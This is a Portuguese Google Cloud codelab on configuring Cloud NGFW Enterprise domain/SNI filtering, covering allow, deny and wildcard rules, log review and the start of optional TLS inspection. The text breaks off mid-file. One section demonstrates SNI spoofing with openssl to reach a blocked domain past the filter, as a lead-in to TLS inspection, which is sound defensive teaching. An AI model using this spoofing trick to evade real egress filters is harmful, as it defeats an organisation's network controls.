Codelab de filtragem de domínio/SNI do Cloud NGFW Enterprise [inspeção TLS opcional]

1. Introdução

Cloud Next Generation Firewall (NGFW)

O Cloud Firewall de última geração é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.

O Cloud NGFW tem os seguintes benefícios:

  • Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host totalmente distribuída com estado em cada carga de trabalho para ativar a arquitetura de segurança de confiança zero.
  • Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall de rede e hierárquicas que podem ser anexadas a um nó de hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
  • Controle granular e microssegmentação: a combinação de políticas de firewall e tags gerenciadas pelo Identity and Access Management (IAM) oferece controle preciso para o tráfego norte-sul e leste-oeste até uma única VM em redes e organizações de nuvem privada virtual (VPC).

O Cloud NGFW está disponível nos seguintes níveis:

  • Firewall Essentials de última geração do Cloud
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Os objetos FQDN do Cloud NGFW Standard podem traduzir nomes de domínio totalmente qualificados (FQDNs) em endereços IP e aplicar a regra à lista de endereços IP. No entanto, o Cloud NGFW Enterprise com filtragem de domínio pode levar a inspeção um pouco mais longe.

Cloud NGFW Empresarial

No momento, o Cloud NGFW Enterprise oferece o serviço de prevenção de intrusões (IPS), um recurso da camada 7, à estrutura distribuída do Google Cloud Firewall.

O Cloud NGFW Enterprise agora tem filtragem de domínio, que oferece controle sobre o tráfego http(s) usando nomes de domínio em vez de endereços IP.

Para a filtragem de domínio/SNI do tráfego HTTPS, como parte do handshake de TLS, o ClientHello é uma extensão que tem a indicação de nome do servidor (SNI). A SNI é uma extensão do protocolo TLS que envia o nome do host que um cliente está tentando acessar. É aqui que a filtragem será validada.

Com o tráfego HTTP, não há SNI. Portanto, apenas o campo de cabeçalho Host HTTP será usado para aplicar a filtragem.

A filtragem de domínio é configurada com um UrlFilteringProfile, que é um novo tipo de perfil de segurança. O UrlFilteringProfile vai conter uma lista de UrlFilters, cada um com uma ação, uma lista de strings de correspondência e uma prioridade exclusiva. Essa configuração usa "Url" para nomenclatura em vez de "Domain" para facilitar a transição para a filtragem completa de URL quando ela estiver disponível, em vez de criar um novo tipo de perfil de segurança no futuro.

Os UrlFilteringProfiles incluem um UrlFilter implícito de menor prioridade (2147483647) que nega todas as conexões que não correspondem a um UrlFilter de maior prioridade.

O que você vai criar

Este codelab exige um único projeto e a capacidade de criar uma rede VPC, além de gerenciar vários recursos de rede e segurança. Ele vai demonstrar como o Cloud NGFW Enterprise pode fornecer filtragem de domínio e SNI com instruções opcionais para inspeção de TLS.

Vamos testar vários cenários de regras de permissão e negação, incluindo o uso de caracteres curinga.

4a779fae790d117.png

O estado final da base de regras da política de firewall de rede será semelhante à tabela abaixo:

Prioridade

Direção

Destino

Origem

Destino

Ação

Tipo

200

Entrada

TUDO

IAP

Qualquer

Permitir

Essentials

300

Saída

TUDO

Qualquer

0.0.0.0/0:80,443

Inspeção L7

Enterprise

O que você vai aprender

  • Como criar uma política de firewall de rede.
  • Como configurar e usar a filtragem de domínio/SNI do Cloud NGFW Enterprise.
  • Como configurar a prevenção de ameaças além da filtragem de domínio/SNI.
  • Como analisar os registros.
  • [Opcional] Como ativar a inspeção TLS.

O que é necessário

  • Projeto na nuvem do Google.
  • Conhecimento sobre como implantar instâncias e configurar componentes de rede.
  • Conhecimento da configuração de firewall de política de rede.

2. Antes de começar

Criar/atualizar variáveis

Este codelab usa $variáveis para ajudar na implementação da configuração da gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. Ativar APIs

Ative as APIs, se ainda não tiver feito isso:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Criação de endpoint do Cloud NGFW Enterprise

Como a criação do endpoint empresarial do Cloud NGFW leva cerca de 20 minutos, ele será criado primeiro, e a configuração básica poderá ser feita em paralelo enquanto o endpoint é criado.

A filtragem de domínio/SNI exige um endpoint de firewall, mesmo que você não pretenda usar perfis de prevenção de ameaças.

Crie o perfil e o grupo de perfis de segurança:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Execute o comando abaixo para confirmar se o endpoint está sendo criado (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

O processo de criação leva cerca de 20 minutos. Acesse a seção "Configuração básica" para criar os recursos necessários em paralelo.

5. Configuração básica

Rede VPC e sub-rede

Rede VPC e sub-rede

Crie a rede e a sub-rede VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crie o endereço IP externo, o Cloud Router e o gateway da Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Criação de instância

Crie a instância do cliente:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Política global de firewall de rede

Crie uma política de firewall de rede global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Crie as regras necessárias do Cloud Firewall Essential para permitir o tráfego dos intervalos do proxy com reconhecimento de identidade:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Associe a política de firewall de nuvem à rede VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Criar configurações de filtragem de domínio/SNI para permitir

Em seguida, vamos configurar os domínios para permitir e negar. No Cloud Shell, crie o arquivo YAML:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

Crie um perfil de segurança importando a configuração YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Saída esperada:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Crie um grupo de perfis de segurança:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

Valide se o SPG contém o perfil de segurança:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Saída esperada:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Associação de endpoint do Cloud Firewall

Defina as variáveis de ambiente se ainda não tiver feito isso e/ou preferir a abordagem de script.

Confirme se a criação do endpoint do Cloud Firewall foi concluída com sucesso. Só prossiga quando o estado for ACTIVE. Durante a criação, o estado esperado é CREATING:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Associe o endpoint do Cloud Firewall à rede VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

O processo de associação leva cerca de 10 minutos. Só avance para a próxima seção quando o estado for ACTIVE. Durante a criação, o estado esperado é CREATING:

gcloud network-security firewall-endpoint-associations list

Saída esperada quando complete:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Criar regras de firewall para filtragem de domínio/SNI

O Google tem regras de firewall de permissão implícita de saída. Se quisermos aplicar a filtragem de domínio/SNI, precisamos definir uma regra explicitamente. A regra a seguir envia o tráfego de saída para as portas de destino 80 e 443 para inspeção pelo nosso perfil de segurança.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. Validar regras de permissão

Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie as solicitações de amostra para o destino permitido:

curl https://www.example.com --max-time 2

Essa solicitação foi bem-sucedida devido à regra de firewall "allow".

Vamos testar alguns domínios que não fazem parte da lista.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Saída esperada:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

Por que "example.com" não funcionou? Isso acontece porque a configuração do perfil de segurança tinha explicitamente "www.example.com". Se quisermos permitir todos os subdomínios de example.com, podemos usar um caractere curinga.

As outras solicitações também falharam. Isso ocorre porque o grupo de perfil de segurança tem uma negação padrão com a menor prioridade, e apenas www.example.com é permitido.

Saia da VM para voltar ao Cloud Shell.

exit

10. Atualizar a configuração de filtragem de domínio/SNI para caracteres curinga

Vamos analisar o arquivo yaml e fazer algumas atualizações adicionais para mostrar outros recursos, incluindo suporte a caracteres curinga. Vamos criar uma regra que permite "*.com", o que equivale a qualquer domínio que termine em .com. Observação: isso vai substituir completamente o conteúdo do arquivo YAML original criado na seção anterior.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Atualize o perfil de segurança com a nova configuração YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Valide a configuração do perfil de segurança:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Saída esperada:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Validar regra curinga

Vamos validar se a regra de caractere curinga está funcionando. Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie as solicitações de amostra para os destinos permitidos:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Todas essas solicitações precisam ter sido bem-sucedidas. Tente qualquer outro domínio .com válido. Se ainda não funcionar, aguarde pelo menos 10 minutos e tente de novo.

Podemos até tentar vários subdomínios de ".com", e todos devem funcionar.

curl https://mail.google.com --max-time 2

Saia da VM para voltar ao Cloud Shell.

exit

12. Atualizar a configuração de filtragem de domínio/SNI para negar

Mostramos que há uma regra de NEGAÇÃO implícita para * no final do perfil de segurança e criamos domínios "permitidos" usando filteringAction como "ALLOW". Vamos discutir como usar o filteringAction como "DENY". As ações DENY podem ser úteis quando precedem um ALLOW explícito. Veja o exemplo a seguir.

Vamos atualizar nosso yaml atual para permitir *.com, mas negar especificamente alguns domínios .com.

Vamos modificar o arquivo YAML para NEGAR *.github.com e *.google.com, permitindo explicitamente todos os outros *.com e mantendo a negação padrão implícita. Observe que a prioridade das exceções precisa ter um número menor: (1000 x 2000) e (1500 x 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Atualize o perfil de segurança com a nova configuração YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Valide a configuração do perfil de segurança:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Validar regras de negação

Vamos validar se as regras DENY estão funcionando. Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie as solicitações de amostra para os destinos negados:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Essas duas solicitações deveriam ter falhado porque correspondiam à regra "DENY".

Envie algumas solicitações adicionais:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Por que elas funcionaram? Isso funcionou porque as regras DENY eram para ".github.com" e ".google.com". As solicitações para github.com e google.com não incluem esse caractere curinga, já que ele faz referência a subdomínios de github.com e google.com.

Outras solicitações para domínios .com serão bem-sucedidas, com uma negação padrão para outros domínios. (.org, .net, .me etc.)

Saia da VM para voltar ao Cloud Shell.

exit

14. Atualizar a configuração de filtragem de domínio/SNI para "Permitir padrão"

E se você quisesse ter um comportamento padrão de PERMITIR com regras de negação explícitas? Vamos atualizar o YAML para mostrar esse comportamento. Vamos configurar regras de NEGAÇÃO para qualquer domínio .com ou .net e permitir todos os outros.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Atualize o perfil de segurança com a nova configuração YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Valide a configuração do perfil de segurança:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Saída esperada:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

A negação implícita para * ainda existe. Essa regra se torna irrelevante porque configuramos uma regra padrão de prioridade mais alta (valor mais baixo) que tem "filteringAction" definido como "ALLOW".

(2000000000 x 2147483647)

15. Validar regras de negação com permissão padrão

Vamos validar se as regras DENY estão funcionando com o ALLOW padrão. Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie as solicitações de amostra para os destinos negados:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Essas duas solicitações deveriam ter falhado porque correspondiam à regra "DENY". Qualquer solicitação .com ou .net vai falhar.

Envie algumas solicitações que devem ser bem-sucedidas (qualquer outro domínio de nível superior):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Essas solicitações devem ser bem-sucedidas, já que atingem a regra de permissão "padrão" com prioridade 2000000000.

16. Analisar registros para filtragem de domínio/SNI

Vamos verificar como validar se o tráfego está sendo inspecionado pela regra de firewall para filtragem de domínio/SNI.

No console do Cloud, navegue até a Análise de registros e insira o seguinte filtro:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

O filtro acima está analisando a política de firewall que criamos chamada $prefix-fwpolicy e a prioridade da regra 300, que tem o grupo de perfis de segurança associado à configuração de filtragem de domínio/SNI.

91854cacaec44798.png

Como você pode ver, a "disposição" indica "INTERCEPTED", o que significa que o tráfego foi interceptado e enviado ao nosso mecanismo de firewall para processamento.

Agora, para conferir os registros reais de filtragem de domínio/SNI, insira o seguinte filtro na Análise de registros: (substitua $project_id pelo valor do seu project_id)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Se expandirmos alguns dos detalhes, vamos encontrar as seguintes informações em um exemplo (tratado):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

O exemplo de registro acima mostra uma solicitação para wikipedia.org que foi PERMITIDA porque atingiu a regra de prioridade 2000000000, que era "*" com filterAction ALLOW. Há outros detalhes, incluindo o SNI.

Confira um exemplo de registro de DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Como podemos ver acima, essa é uma solicitação registrada quando uma solicitação foi negada. A solicitação foi feita para www.php.net, que corresponde à regra 1500 no perfil de segurança. Da mesma forma, ele fez a correspondência com o SNI para tomar a decisão.

17. Validar regras quando há spoofing de SNI

Como mencionado na introdução, o NGFW Enterprise pode analisar o cabeçalho de host HTTP para tráfego HTTP ou o SNI para tráfego criptografado com TLS. É possível que pessoas falsifiquem o SNI. O que acontece se eles fizerem isso?

Vamos validar o comportamento. Inicie uma conexão SSH com a VM pelo IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Execute o seguinte comando openssl para simular o SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

No exemplo acima, a expectativa é que as solicitações para domínios .com e .net sejam bloqueadas, e outros TLDs sejam permitidos. Confira abaixo um exemplo de resposta falsificada. A solicitação é enviada para www.google.com, que deve ser bloqueado. No entanto, em vez de enviar um SNI de www.google.com, especificamos um SNI de ifconfig.me. Como a política está verificando o SNI, ela vai considerar esse domínio como "permitido" e deixá-lo passar. Conseguimos uma conexão TLS com google.com.

.

Saída esperada:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

É aí que a inspeção TLS pode ajudar a resolver esse problema.

Feche a conexão e saia da VM:

"ctrl" + c
exit

18. [Opcional] Inspeção TLS

Configurar recursos de TLS

Esta seção é opcional, já que a filtragem de domínio/SNI funciona sem a necessidade de inspeção TLS. No entanto, talvez você queira ter a inspeção TLS se planeja usar a prevenção de ameaças ou, no futuro, quando a filtragem completa de URL estiver disponível, criar regras com base em caminhos no perfil de segurança.

Além disso, a inspeção de TLS oferece uma camada extra de verificações, já que o spoofing de SNI é uma possibilidade.

Crie um pool de CA. Esse recurso será usado para hospedar o certificado de CA raiz que geramos para o NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Crie a CA raiz. É o certificado de CA que será usado para assinar outros certificados para solicitações pelo NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Se a mensagem abaixo aparecer, responda y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Crie uma conta de serviço. Essa conta de serviço será usada para solicitar certificados para o NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Defina as permissões do IAM para a conta de serviço:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crie o arquivo YAML da política de TLS. Esse arquivo vai conter informações sobre os recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
